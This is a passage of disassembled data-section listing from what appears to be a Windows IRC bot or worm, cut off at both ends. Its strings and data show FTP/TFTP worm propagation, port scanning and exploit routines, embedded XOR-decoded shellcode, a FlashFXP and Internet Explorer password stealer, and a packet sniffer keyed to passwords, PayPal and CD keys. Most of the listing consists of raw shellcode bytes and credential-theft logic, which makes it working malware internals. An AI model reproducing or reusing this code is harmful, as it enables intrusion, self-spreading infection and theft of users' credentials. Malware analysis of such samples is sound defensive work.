sub_411BBC+115o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aRunningFtpWorm db '- Running FTP wormride thread',0 align 4 a127_0_0_1 db '127.0.0.1',0 ; DATA XREF: sub_411BBC+6Eo align 10h aFtpWormrideThr db 'FTP wormride thread',0 ; DATA XREF: sub_411D68+36o dword_41C724 dd 4000500h, 7868746Bh, 0 ; DATA XREF: sub_411DC5+5E2o unk_41C730 db 2Dh ; - ; DATA XREF: sub_411DC5+5BDo db 3, 30h, 34h db 2 db 25h, 73h, 3 db 2 aU_TftpTransfer db '- %u. tftp transfer to %s complete.',0 align 10h aWormride db 'wormride',0 ; DATA XREF: sub_411DC5+5B8o align 4 dword_41C76C dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh ; DATA XREF: sub_411DC5+367o aOctet db 'octet',0 ; DATA XREF: sub_411DC5+333o ; sub_411DC5+345o align 4 unk_41C788 db 2Dh ; - ; DATA XREF: sub_411DC5+144o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aRunningTftpWor db '- Running TFTP wormride thread',0 aTftpWormrideTh db 'TFTP wormride thread',0 ; DATA XREF: sub_4123F6+2Bo align 4 loc_41C7C8: ; DATA XREF: sub_4125DF+50o jmp short loc_41C7DF ; --------------------------------------------------------------------------- loc_41C7CA: ; CODE XREF: .data:loc_41C7DFp mov ecx, 0 xor ecx, 0 pop esi loc_41C7D6: ; CODE XREF: .data:0041C7DBj xor byte ptr [ecx+esi-1], 0 loop loc_41C7D6 jmp short near ptr dword_41C7E4 ; --------------------------------------------------------------------------- loc_41C7DF: ; CODE XREF: .data:loc_41C7C8j call loc_41C7CA ; --------------------------------------------------------------------------- dword_41C7E4 dd 0 ; CODE XREF: .data:0041C7DDj dword_41C7E8 dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h ; DATA XREF: sub_4124A0+CBo dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h, 338B04C3h dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h dd 5EEBD1D8h, 3245E03h, 0B8B66DFh, 31C5E8Bh, 8B048BDFh dd 5B5EC703h, 685EE0FFh, 3233h, 32737768h, 92BA545Fh, 0FF84046Eh dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h dd 6853h, 2680000h, 8B000000h, 6AD88BD4h, 0BA535210h, 5A603063h dd 0B450D6FFh, 53555002h, 605800BAh, 0BFD6FFE2h, 0 ; --------------------------------------------------------------------------- jmp ebp ; --------------------------------------------------------------------------- align 4 dword_41C89C dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h ; DATA XREF: sub_4124A0+8Co dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h, 338B04C3h dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h dd 5EEBD1D8h, 3245E03h, 0B8B66DFh, 31C5E8Bh, 8B048BDFh dd 5B5EC703h, 685EE0FFh, 3233h, 32737768h, 92BA545Fh, 0FF84046Eh dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h dd 2685353h, 8B000000h, 6AD88BD4h, 0BA535210h, 0C2A69000h dd 5040D6FFh, 3B7ABA53h, 0D6FFA173h, 0BA535050h, 69D310h dd 0D88BD6FFh, 0B450C033h, 53555002h, 605800BAh, 0BFD6FFE2h dd 0 ; --------------------------------------------------------------------------- jmp ebp ; --------------------------------------------------------------------------- align 4 dword_41C964 dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h ; DATA XREF: sub_4124A0+36o dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h, 338B04C3h dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h dd 5EEBD1D8h, 3245E03h, 0B8B66DFh, 31C5E8Bh, 8B048BDFh dd 5B5EC703h, 685EE0FFh, 3233h, 32737768h, 92BA545Fh, 0FF84046Eh dd 81F88BD6h, 200ECh, 6AEC8B00h, 55544310h, 7232BA53h dd 0D6FF1979h, 27D8166h, 0ED751111h, 22047D81h, 75222222h dd 2B450E4h, 0BA535550h, 0E2605800h, 7D81D6FFh, 20EC8300h dd 0BFEA758Bh, 0 ; --------------------------------------------------------------------------- jmp ebp ; --------------------------------------------------------------------------- align 4 dword_41CA18 dd 8B20EC83h, 45D89ECh, 81007D89h, 200ECh, 14658900h, 8B64DB33h ; DATA XREF: sub_412720+71o dd 408B3043h, 1C708B0Ch, 8788BADh, 0E8087D89h, 45h, 5F8B5653h dd 3B5C8B3Ch, 53DF0378h, 3205B8Bh, 0C38353DFh, 3338B04h dd 0ACC933F7h, 0C1C1C832h, 75C08405h, 75CA2BF6h, 0D82B58E9h dd 35EEBD1h, 0DF03245Eh, 8B0B8B66h, 0DF031C5Eh, 38B048Bh dd 0FF5B5EC7h, 33685EE0h, 68000032h, 5F327377h, 6E92BA54h dd 0D6FF8404h, 8B0C4589h, 46A53F8h, 475FF55h, 669000BAh dd 83D6FFE0h, 850F04F8h, 0C5h, 0E8087D8Bh, 0Dh, 3 dup(0) dd 18458F00h, 6A026A53h, 68535301h, 0C0000000h, 0BA1875FFh dd 5C6BD33Dh, 4589D6FFh, 840F401Ch, 8Dh, 330C7D8Bh, 2B450C0h dd 1475FF50h, 0BA0475FFh, 0E2605800h, 7D8BD6FFh, 74C08508h dd 41C88B1Eh, 8D535774h, 5051104Dh, 0FF1475FFh, 0B9BA1C75h dd 0FFCBF5BEh, 74C085D6h, 0FFC5EB40h, 5CBA1C75h, 0FF9DC593h dd 58446AD6h, 0FC8BE02Bh, 33ABD78Bh, 59106AC0h, 8BFDE2ABh dd 5252087Dh, 50505050h, 0FF505050h, 2CBA1875h, 0FF2694F1h dd 0C7FE58D6h, 1BA5053h, 0FFDE34D6h, 1C75FFD6h, 0C5935CBAh dd 0FFD6FF9Dh, 3DBA1875h, 0FF27CF53h, 0C7D8BD6h, 0BA0475FFh dd 7315685h, 7D8BD6FFh, 46BABA08h, 0D6FFC10Ch db 0 byte_41CB95 db 0E3h ; DATA XREF: sub_4125DF+CFr ; sub_4125DF+E4w align 4 dword_41CB98 dd 4113E68Bh ; DATA XREF: sub_4125DF+60r ; sub_4125DF+75w align 10h off_41CBA0 dd offset loc_41CC28 ; DATA XREF: sub_4127D0+77r ; --------------------------------------------------------------------------- sbb al, 0CCh inc ecx add [esp+ecx*8], dl inc ecx add ah, bh retf ; --------------------------------------------------------------------------- inc ecx add al, dh retf ; --------------------------------------------------------------------------- inc ecx add [esp+ecx*8], dl inc ecx add ah, bl retf ; --------------------------------------------------------------------------- inc ecx add al, dl retf ; --------------------------------------------------------------------------- dw 41h dd offset dword_41CC14 align 10h dd 0A3DCCCEEh, 0B7h, 0 dd 0FAC18FACh, 0C9F7BFE2h, 0A387EFFBh, 2 dup(0) dd 0A1D7CCE7h, 2 dup(0) aMpRRdJ db '¬ÁÜÆÁ×êIJà„׆Ï',0 align 10h dd 0 dword_41CC14 dd 2 dup(0) ; DATA XREF: .data:0041CBC0o ; .data:off_41DA48o ... dword_41CC1C dd 0A1D6CDEAh, 2 dup(0) ; DATA XREF: .data:off_41DA44o ; --------------------------------------------------------------------------- loc_41CC28: ; DATA XREF: .data:off_41CBA0o ; .data:off_41DA40o lodsb pop ecx jmp edx ; --------------------------------------------------------------------------- db 0E8h, 0FCh, 0C3h dd 0B492F6B1h, 0E6AEF0E3h, 0B0h, 0 dword_41CC40 dd 72h ; DATA XREF: sub_412A3A:loc_412B93o dword_41CC44 dd 62h ; DATA XREF: sub_412BC9:loc_412D11o dword_41CC48 dd 63h ; DATA XREF: sub_412D56:loc_412DC8o dword_41CC4C dd 3430032Dh, 3752502h, 52202D02h, 696E6E75h, 7320676Eh ; DATA XREF: sub_412E04+64o dd 6C6C6568h, 65646F63h, 72657320h, 20726576h, 70206E6Fh dd 2074726Fh, 2343003h, 2037325h, 0 dword_41CC84 dd 6C656853h, 646F636Ch, 65732065h, 72657672h, 206E6F20h ; DATA XREF: sub_412F07+98o dd 74726F70h, 34300320h, 3752502h, 2 byte_41CCA8 db 0BBh ; DATA XREF: sub_41294E+3Co ; sub_41294E+4Co ... db 9Fh, 80h, 0FCh dd 0B1h, 2 dup(0) dd 0EE000000h, 0DACFh, 3 dup(0) db 2 dup(0) dword_41CCCE dd 9BAA28F6h ; DATA XREF: sub_41294E+2Br ; sub_412FC6+31r ... dword_41CCD2 dd 0 ; DATA XREF: sub_412FC6+57w ; sub_414052+B5r ... off_41CCD6 dd offset sub_410649 ; DATA XREF: sub_41294E+1Cr ; sub_412FC6+18r ... dw 3 dd 0 dd 99B10000h, 0F8E2E19Bh, 0FAh, 2 dup(0) dd 0DAC8EB00h, 4 dup(0) dd 3022BE5h, 0 dd offset sub_410B52 dd 3, 10h dup(0) dword_41CD58 dd 6E695728h, 293233h ; DATA XREF: sub_41308F+217o dword_41CD60 dd 696E5528h, 2978h ; DATA XREF: sub_41308F+1F1o dword_41CD68 dd 63617041h, 252F6568h, 75h ; DATA XREF: sub_41308F+1DFo aApache db 'Apache',0 ; DATA XREF: sub_41308F+1B9o align 4 aMicrosoftIisU_ db 'Microsoft-IIS/%u.%u',0 ; DATA XREF: sub_41308F+130o aMicrosoftIis db 'Microsoft-IIS',0 ; DATA XREF: sub_41308F+FCo align 10h aServer db 'Server:',0 ; DATA XREF: sub_41308F+7Ao aOptionsHttp1_0 db 'OPTIONS / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41308F+Bo db 0Dh,0Ah,0 align 10h unk_41CDC0 db 53h ; S ; DATA XREF: sub_41349C+5E4o db 63h, 61h, 6Eh db 6Eh ; n db 65h, 64h, 20h db 3 db 30h, 34h, 2 db 25h ; % db 73h, 3, 2 db 3Ah ; : db 25h, 73h, 20h db 69h ; i db 6Eh, 20h, 3 db 30h ; 0 db 34h, 2, 25h db 30h ; 0 db 2Eh, 32h, 66h db 3 db 2, 73h, 65h db 63h ; c db 2Eh, 20h, 3 db 30h ; 0 db 34h, 2, 25h db 75h ; u db 3, 2, 20h aOpenIpSFound db 'open IP(s) found',0 align 4 dword_41CE04 dd 2343003h, 2037325h, 2073253Ah, 6F207369h, 6E6570h ; DATA XREF: sub_41349C+55Eo dword_41CE18 dd 3430032Dh, 3752502h, 53202D02h, 6E6E6163h, 20676E69h ; DATA XREF: sub_41349C+343o dd 2343003h, 2037325h, 2073253Ah, 20726F66h, 2343003h dd 2037525h, 63657320h, 28646E6Fh, 2973h dword_41CE50 dd 6E616353h, 676E696Eh, 34300320h, 3732502h, 73253A02h ; DATA XREF: sub_41349C+305o dd 726F6620h, 34300320h, 3752502h, 65732002h, 646E6F63h dd 297328h unk_41CE7C db 53h ; S ; DATA XREF: sub_413AB0+1DCo db 63h, 61h, 6Eh db 6Eh ; n db 69h, 6Eh, 67h db 20h db 3, 30h, 34h db 2 db 25h, 73h, 3 db 2 db 3Ah, 25h, 73h db 20h db 66h, 6Fh, 72h db 20h db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aSecondSTUSU db ' second(s), t:%u s:%u',0 align 4 dword_41CEB4 dd 3430032Dh, 3752502h, 41202D02h, 6D657474h, 64657470h ; DATA XREF: sub_413CB3+30Eo dd 34300320h, 3752502h, 78652002h, 696F6C70h, 69746174h dd 73286E6Fh, 6E6F2029h, 34300320h, 3752502h, 50492002h dd 2E297328h, 0 dword_41CEF8 dd 65747441h, 6974706Dh, 7420676Eh, 7865206Fh, 696F6C70h ; DATA XREF: sub_413CB3+2B0o dd 30032074h, 73250234h, 77200203h, 20687469h, 2343003h dd 2037325h, 2E2E2Eh unk_41CF28 db 2Dh ; - ; DATA XREF: sub_413CB3+31o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aAttemptingTo_0 db '- Attempting to exploit IP',27h,'s in list.',0 align 4 aAttemptingToEx db 'Attempting to exploit IP',27h,'s in list.',0 ; DATA XREF: sub_413FE7+52o dword_41CF7C dd 3003203Ah, 75250234h, 202E0203h, 0 ; DATA XREF: sub_414052+BBo aExploitStatist db 'Exploit statistics - ',0 ; DATA XREF: sub_414052+29o align 4 aListingExploit db 'Listing exploit statistics',0 ; DATA XREF: sub_41417D+2Bo align 10h dword_41CFC0 dd 62616E55h, 7420656Ch, 6F63206Fh, 63656E6Eh, 6F742074h ; DATA XREF: sub_4141C1+D8o dd 34300320h, 3732502h, 6F702002h, 3207472h, 25023430h dd 2E020373h, 0 dword_41CFF0 dd 656D6954h, 2074756Fh, 7563636Fh, 20646572h, 6C696877h ; DATA XREF: sub_4141C1+B4o dd 6F632065h, 63656E6Eh, 676E6974h, 206F7420h, 2343003h dd 2037325h, 3430033Ah, 3732502h, 202E02h dword_41D028 dd 6E6E6F43h, 65746365h, 6F742064h, 34300320h, 3732502h ; DATA XREF: sub_4141C1+78o dd 30033A02h, 73250234h, 69200203h, 3003206Eh, 75250234h dd 203736Dh, 2Eh dword_41D058 dd 6E6E6F43h, 69746365h, 7420676Eh, 7325206Fh, 726F7020h ; DATA XREF: sub_4142BF+D8o dd 30032074h, 73250234h, 203h unk_41D078 db 53h ; S ; DATA XREF: sub_4143B0+221o db 63h, 61h, 6Eh db 6Eh ; n db 65h, 64h, 20h db 25h ; % db 73h, 20h, 69h db 6Eh ; n db 20h, 3, 30h db 34h ; 4 db 2, 25h, 30h db 2Eh ; . db 32h, 66h, 3 db 2 db 73h, 65h, 63h db 2Eh ; . db 20h, 3, 30h db 34h ; 4 db 2, 25h, 75h db 3 db 2, 20h, 6Fh aPenPortSFound db 'pen port(s) found',0 align 4 dword_41D0B4 dd 33A7325h, 25023430h, 20020373h, 6F207369h, 6E6570h ; DATA XREF: sub_4143B0+1BAo dword_41D0C8 dd 3430032Dh, 3752502h, 53202D02h, 6E6E6163h, 20676E69h ; DATA XREF: sub_4143B0+81o dd 70207325h, 2074726Fh, 2343003h, 2037525h, 3430032Dh dd 3752502h, 69772002h, 3206874h, 25023430h, 20020375h dd 6B636F73h, 73287465h, 29h dword_41D110 dd 6E616353h, 676E696Eh, 20732520h, 74726F70h, 34300320h ; DATA XREF: sub_414600+1BEo dd 3752502h, 30032D02h, 75250234h, 77200203h, 20687469h dd 2343003h, 2037525h, 636F7320h, 2874656Bh, 2973h aYa36za48dehfrv db 'yA36zA48dEhfrvghGRg57h5UlDv3',0 ; DATA XREF: sub_4147E5+6o ; sub_4147E5+C6o align 4 aSflashfxpSites db '%sFlashFXP\sites.dat',0 ; DATA XREF: sub_4148CE+107o align 4 aFlashfxpSites_ db '\FlashFXP\sites.dat',0 ; DATA XREF: sub_4148CE+B6o aProgramfiles db 'ProgramFiles',0 ; DATA XREF: sub_4148CE+ABo align 4 aSites_dat db 'sites.dat',0 ; DATA XREF: sub_4148CE:loc_414945o align 4 aFlashfxp_exe1 db 'FlashFXP.exe %1',0 ; DATA XREF: sub_4148CE+57o aSoftwareClasse db 'SOFTWARE\Classes\Applications\FlashFXP.exe\shell\open\command',0 ; DATA XREF: sub_4148CE+15o align 4 unk_41D204 db 2Dh ; - ; DATA XREF: sub_414A1E+464o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 db 2Dh, 20h, 4Ch db 69h ; i db 73h, 74h, 65h db 64h ; d db 20h, 3, 30h db 34h ; 4 db 2, 25h, 75h db 3 db 2, 2Fh, 3 db 30h ; 0 db 34h, 2, 25h db 75h ; u db 3, 2, 20h aFlashfxpPass_0 db 'FlashFXP password(s).',0 align 10h dword_41D240 dd 2343003h, 2037525h ; DATA XREF: sub_414A1E+3C4o a_FlashfxpFtpSS db '. FlashFXP - ftp://%s:%s@%s:%s - %s',0 aPass127s db 0Dh,0Ah ; DATA XREF: sub_414A1E+352o db 'Pass=%127s',0Dh,0Ah,0 align 4 aUser127s db 0Dh,0Ah ; DATA XREF: sub_414A1E+338o db 'User=%127s',0Dh,0Ah,0 align 4 aPort127s db 0Dh,0Ah ; DATA XREF: sub_414A1E+31Eo db 'Port=%127s',0Dh,0Ah,0 align 4 aIp127s db 0Dh,0Ah ; DATA XREF: sub_414A1E+304o db 'IP=%127s',0Dh,0Ah,0 align 4 asc_41D2AC db '[%[^]]]',0Dh,0Ah,0 ; DATA XREF: sub_414A1E+2EAo align 4 aPass_0 db 0Dh,0Ah ; DATA XREF: sub_414A1E+1F4o db 'Pass=',0 aUser_0 db 0Dh,0Ah ; DATA XREF: sub_414A1E+1DCo db 'User=',0 aPort db 0Dh,0Ah ; DATA XREF: sub_414A1E+1C4o db 'Port=',0 aIp db 0Dh,0Ah ; DATA XREF: sub_414A1E+1ACo db 'IP=',0 align 4 asc_41D2D8 db 0Dh,0Ah ; DATA XREF: sub_414A1E:loc_414BA6o db 0Dh,0Ah db '[',0 align 10h unk_41D2E0 db 2Dh ; - ; DATA XREF: sub_414A1E+55o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aListingFlashfx db '- Listing FlashFXP passwords',0 align 4 aFlashfxpPasswo db 'FlashFXP password stealer',0 ; DATA XREF: sub_414EB0+2Bo align 4 unk_41D324 db 2Dh ; - ; DATA XREF: sub_414EF4+B8Ao db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 db 2Dh, 20h, 4Ch db 69h ; i db 73h, 74h, 65h db 64h ; d db 20h, 3, 30h db 34h ; 4 db 2, 25h, 75h db 3 db 2, 20h, 69h aNternetExplore db 'nternet explorer password(s).',0 align 10h dword_41D360 dd 2343003h, 2037525h, 4549202Eh, 7475413Ah, 6D6F436Fh ; DATA XREF: sub_414EF4+AD8o dd 74656C70h, 61502065h, 6F777373h, 20736472h, 6953202Dh dd 203A6574h, 2343003h, 2037325h, 614E202Eh, 203A656Dh dd 2343003h, 2037325h, 6150202Eh, 6F777373h, 203A6472h dd 2343003h, 2037325h, 2Eh dword_41D3BC dd 2343003h, 2037525h, 4549202Eh, 7475413Ah, 6F43206Fh ; DATA XREF: sub_414EF4+A2Bo dd 656C706Dh, 66206574h, 646C6569h, 202D2073h, 6C656946h dd 3203A64h, 25023430h, 2E020373h, 74614420h, 3203A61h dd 25023430h, 2E020373h, 0 dword_41D404 dd 70747468h, 2F3A73h ; DATA XREF: sub_414EF4+9DDo dword_41D40C dd 70747468h, 2F3Ah ; DATA XREF: sub_414EF4+9C6o dword_41D414 dd 7274533Ah, 676E69h ; DATA XREF: sub_414EF4+983o ; sub_414EF4+99Ao aStringindex db 'StringIndex',0 ; DATA XREF: sub_414EF4+968o aE161255a db 'e161255a',0 ; DATA XREF: sub_414EF4:loc_415842o align 4 dword_41D434 dd 2343003h, 2037525h, 534D202Eh, 7845204Eh, 726F6C70h ; DATA XREF: sub_414EF4+935o dd 2D207265h, 4E534D20h, 3A444920h, 34300320h, 3732502h dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h dd 2E02h dword_41D474 dd 2Ch ; DATA XREF: sub_414EF4+83Bo ; sub_414EF4+852o ... aB9819c52 db 'b9819c52',0 ; DATA XREF: sub_414EF4:loc_4155CEo align 4 dword_41D484 dd 2343003h, 2037525h, 4549202Eh, 7361503Ah, 726F7773h ; DATA XREF: sub_414EF4+6C6o dd 72502D64h, 6365746Fh, 20646574h, 6953202Dh, 203A6574h dd 2343003h, 2037325h, 614E202Eh, 203A656Dh, 2343003h dd 2037325h, 6150202Eh, 6F777373h, 203A6472h, 2343003h dd 2037325h, 2Eh a5e7e8100 db '5e7e8100',0 ; DATA XREF: sub_414EF4:loc_41550Co align 4 dword_41D4E8 dd 2343003h, 2037525h, 754F202Eh, 6F6F6C74h, 7078456Bh ; DATA XREF: sub_414EF4+604o dd 73736572h, 4E202D20h, 3A656D61h, 34300320h, 3732502h dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h dd 2E02h a220d5cc1 db '220d5cc1',0 ; DATA XREF: sub_414EF4+5C2o align 4 aWs db '%ws',0 ; DATA XREF: sub_414EF4+41Co asc_41D538 db '%x',0 ; DATA XREF: sub_414EF4+234o align 4 unk_41D53C db 2Dh ; - ; DATA XREF: sub_414EF4+1A9o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aListingInterne db '- Listing internet explorer passwords',0 align 10h dword_41D570 dd 5A6F1EC0h, 11D02DB1h, 0C000398Ch, 6B12D94Fh ; DATA XREF: sub_414EF4+123o ; sub_414EF4+2C7o ... aInternetExplor db 'Internet explorer password stealer',0 ; DATA XREF: sub_415AF0+36o align 4 dword_41D5A4 dd 65746E49h, 74736572h, 20676E69h, 636F7270h, 65737365h ; DATA XREF: sub_415B60+277o dd 202D2073h, 75736956h, 43206C61h, 36202B2Bh, 3003203Ah dd 73250234h, 202E0203h, 65726E55h, 52496C61h, 203A4443h dd 2343003h, 2037325h, 7453202Eh, 3A6D6165h, 34300320h dd 3732502h, 57202E02h, 646C726Fh, 20664F20h, 63726157h dd 74666172h, 3003203Ah, 73250234h, 202E0203h, 716E6F43h dd 20726575h, 696C6E4Fh, 203A656Eh, 2343003h, 2037325h dd 2Eh aSoftwareValveS db 'Software\Valve\Steam',0 ; DATA XREF: sub_415B60+149o align 4 aSoftwareMicr_0 db 'SOFTWARE\Microsoft\VisualStudio\6.0\Setup\Microsoft Visual C++',0 ; DATA XREF: sub_415B60+10Ao align 4 aConquer db '[Conquer]',0 ; DATA XREF: sub_415B60:loc_415C2Fo align 4 aWorldOfWarcraf db 'World Of Warcraft',0 ; DATA XREF: sub_415B60:loc_415C0Eo align 4 aUnreal3 db 'Unreal3',0 ; DATA XREF: sub_415B60+8Co aListingInteres db 'Listing interesting processes',0 ; DATA XREF: sub_415DFD+2Bo align 4 off_41D6D4 dd offset aUser_1 ; DATA XREF: sub_415EB7+32o ; "user " dd offset aUnknown_1 ; "unknown " dd offset aPass_2 ; "pass " dd offset aMailpass ; "MailPass " dd offset aOper ; "oper " dd 0 dd offset aIdentify ; "identify " dd 0 dd offset aAuth_0 ; " :auth " dd 0 dd offset aPasswd_0 ; "passwd=" dd 0 dd offset aUsername_0 ; "username=" dd 0 dd offset aPassword_0 ; "password=" dd 0 dd offset aLogin_1 ; "login=" dd 0 dd offset aPass_1 ; "pass=" dd 0 dd offset aPw ; "pw=" align 10h off_41D730 dd offset aLogin_0 ; DATA XREF: sub_415EB7+54o ; "login " align 8 dd offset aSxt ; "sxt " align 10h dd offset aAuth ; "auth " align 8 dd offset aPasswort ; "passwort " align 10h dd offset aCdkey ; "cdkey" align 8 dd offset aCdKey_0 ; "cd-key" dd 0 dd offset aCdKey ; "cd key" align 8 dd offset aPassword ; "password" align 10h dd offset aPaypal_com ; "paypal.com" align 8 dd offset aPaypal ; "paypal" align 10h dd offset aIrcOperator ; "irc operator" align 8 dd offset aLP ; "l/p" align 10h dd offset aSsh1_5 ; "SSH-1.5" dd 0 dd offset aSsh1_99 ; "SSH-1.99" dd 2 dup(0) off_41D7A4 dd offset aSetCookie ; DATA XREF: sub_415EB7+76o ; "Set-Cookie:" dd 0 dd offset aSyn ; "syn" dd 0 dd offset aFlood ; "flood " dd 0 dd offset aClone ; "clone " dd 0 dd offset aServU_0 ; "serv-u" dd 0 dd offset aServU ; "serv u" dd 0 dd offset aServu ; "servu" dd 0 dd offset aDdos ; "ddos" dd 2 dup(0) off_41D7E8 dd offset dword_41D844 ; DATA XREF: sub_415EB7+98o align 10h dd offset dword_41D83C align 8 dd offset dword_41D834 align 10h dd offset dword_41D82C align 8 dd offset dword_41D824 align 10h dd offset dword_41D81C dd 2 dup(0) dword_41D81C dd 54495551h, 20h ; DATA XREF: .data:0041D810o dword_41D824 dd 54524150h, 20h ; DATA XREF: .data:0041D808o dword_41D82C dd 4E494F4Ah, 20h ; DATA XREF: .data:0041D800o dword_41D834 dd 49504F54h, 2043h ; DATA XREF: .data:0041D7F8o dword_41D83C dd 49544F4Eh, 204543h ; DATA XREF: .data:0041D7F0o dword_41D844 dd 56495250h, 2047534Dh, 0 ; DATA XREF: .data:off_41D7E8o aDdos db 'ddos',0 ; DATA XREF: .data:0041D7DCo align 4 aServu db 'servu',0 ; DATA XREF: .data:0041D7D4o align 10h aServU db 'serv u',0 ; DATA XREF: .data:0041D7CCo align 4 aServU_0 db 'serv-u',0 ; DATA XREF: .data:0041D7C4o align 10h aClone db 'clone ',0 ; DATA XREF: .data:0041D7BCo align 4 aFlood db 'flood ',0 ; DATA XREF: .data:0041D7B4o align 10h aSyn db 'syn',0 ; DATA XREF: .data:0041D7ACo aSetCookie db 'Set-Cookie:',0 ; DATA XREF: .data:off_41D7A4o aSsh1_99 db 'SSH-1.99',0 ; DATA XREF: .data:0041D798o align 4 aSsh1_5 db 'SSH-1.5',0 ; DATA XREF: .data:0041D790o aLP db 'l/p',0 ; DATA XREF: .data:0041D788o aIrcOperator db 'irc operator',0 ; DATA XREF: .data:0041D780o align 4 aPaypal db 'paypal',0 ; DATA XREF: .data:0041D778o align 10h aPaypal_com db 'paypal.com',0 ; DATA XREF: .data:0041D770o align 4 aCdKey db 'cd key',0 ; DATA XREF: .data:0041D760o align 4 aCdKey_0 db 'cd-key',0 ; DATA XREF: .data:0041D758o align 4 aCdkey db 'cdkey',0 ; DATA XREF: .data:0041D750o align 4 aPasswort db 'passwort ',0 ; DATA XREF: .data:0041D748o align 10h aAuth db 'auth ',0 ; DATA XREF: .data:0041D740o align 4 aSxt db 'sxt ',0 ; DATA XREF: .data:0041D738o align 10h aLogin_0 db 'login ',0 ; DATA XREF: .data:off_41D730o align 4 aPw db 'pw=',0 ; DATA XREF: .data:0041D724o aPass_1 db 'pass=',0 ; DATA XREF: .data:0041D71Co align 4 aLogin_1 db 'login=',0 ; DATA XREF: .data:0041D714o align 4 aPassword_0 db 'password=',0 ; DATA XREF: .data:0041D70Co align 4 aUsername_0 db 'username=',0 ; DATA XREF: .data:0041D704o align 4 aPasswd_0 db 'passwd=',0 ; DATA XREF: .data:0041D6FCo aAuth_0 db ' :auth ',0 ; DATA XREF: .data:0041D6F4o aIdentify db 'identify ',0 ; DATA XREF: .data:0041D6ECo align 10h aOper db 'oper ',0 ; DATA XREF: .data:0041D6E4o align 4 aMailpass db 'MailPass ',0 ; DATA XREF: .data:0041D6E0o align 4 aPass_2 db 'pass ',0 ; DATA XREF: .data:0041D6DCo align 4 aUnknown_1 db 'unknown ',0 ; DATA XREF: .data:0041D6D8o align 4 aUser_1 db 'user ',0 ; DATA XREF: .data:off_41D6D4o align 10h dword_41D980 dd 70737553h, 6F696369h, 70207375h, 656B6361h, 72662074h ; DATA XREF: sub_415F69+5CEo dd 3206D6Fh, 25023430h, 3A020373h, 2343003h, 2037525h dd 73253E2Dh, 2075253Ah, 0 unk_41D9B4 db 2Dh ; - ; DATA XREF: sub_415F69+1A6o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 db 2Dh, 20h, 4Ch db 65h ; e db 76h, 65h, 6Ch db 20h db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aPacketSnifferR db ' packet sniffer running',0 align 4 dword_41D9E8 dd 6576654Ch, 3003206Ch, 75250234h, 70200203h, 656B6361h ; DATA XREF: sub_41665C+8Eo dd 6E732074h, 65666669h, 72h, 41DA0Ch, 0FD8093AFh, 0D2E6E2ADh dd 0A99AE3FBh, 2 dup(0) dword_41DA20 dd 0E3F44AC0h ; DATA XREF: sub_40A9CF+843r ; .data:00416845r ... dword_41DA24 dd 94CFA2BAh ; DATA XREF: .data:0041683Dr dword_41DA28 dd 11B29A82h ; DATA XREF: .data:00416832r dword_41DA2C dd 2B0ED8BCh ; DATA XREF: .data:0041682Cr dd 2 dup(0) off_41DA38 dd offset dword_41DD10 ; DATA XREF: sub_40E618+1C3r ; sub_40E618+1D5r ... align 10h off_41DA40 dd offset loc_41CC28 ; DATA XREF: sub_40A9CF+7B3r ; sub_40CF2F+82r ... off_41DA44 dd offset dword_41CC1C ; DATA XREF: sub_40CF2F+B8r off_41DA48 dd offset dword_41CC14 ; DATA XREF: sub_40CF2F+D0r ; sub_40CF2F+DFr ; --------------------------------------------------------------------------- cld retf ; --------------------------------------------------------------------------- inc ecx add al, dh retf ; --------------------------------------------------------------------------- inc ecx add [esp+ecx*8], dl inc ecx add ah, bl retf ; --------------------------------------------------------------------------- inc ecx add al, dl retf ; --------------------------------------------------------------------------- dw 41h dd offset dword_41CC14 align 10h dword_41DA70 dd 0AED0C3E0h, 9DADB3BCh, 2 dup(0) ; DATA XREF: sub_40D043:loc_40D31Fo ; sub_40D871:loc_40DCB8o dword_41DA80 dd 6B6F6B23h, 32h, 1Eh dup(0) ; DATA XREF: sub_40332B+1A1o ; sub_4093B6+6Co ... byte_41DB00 db 0FCh ; DATA XREF: sub_40D043+28Cr ; sub_40D043+297o db 8Bh, 8Eh, 0E6h dd 0E2h, 1Eh dup(0) byte_41DB80 db 0 ; DATA XREF: sub_40D043+2B3r ; sub_40D043+2BEo align 4 dd 1Fh dup(0) dword_41DC00 dd 3430032Eh, 2036202h, 0 ; DATA XREF: sub_40A9CF:loc_40C4DAo ; sub_40D871+242o dword_41DC0C dd 0F28D99A8h, 8CA0BFEFh, 84E0B1h, 3Eh dup(0) ; DATA XREF: sub_406A23+2Eo ; sub_406AE7+2Eo dword_41DD10 dd 0FE87BCF5h, 0C7FCA2ECh, 0A1h, 0 ; DATA XREF: .data:off_41DA38o dword_41DD20 dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: .data:00416B0Do aEipHasLeftTheE db '- eip has left the endless loop for some reason...',0 align 10h aEntry db 'entry',0 ; DATA XREF: .data:00416AE7o align 4 aLoop db 'loop',0 ; DATA XREF: .data:loc_416AC5o align 10h aPing08x db 'PING :%08X',0 ; DATA 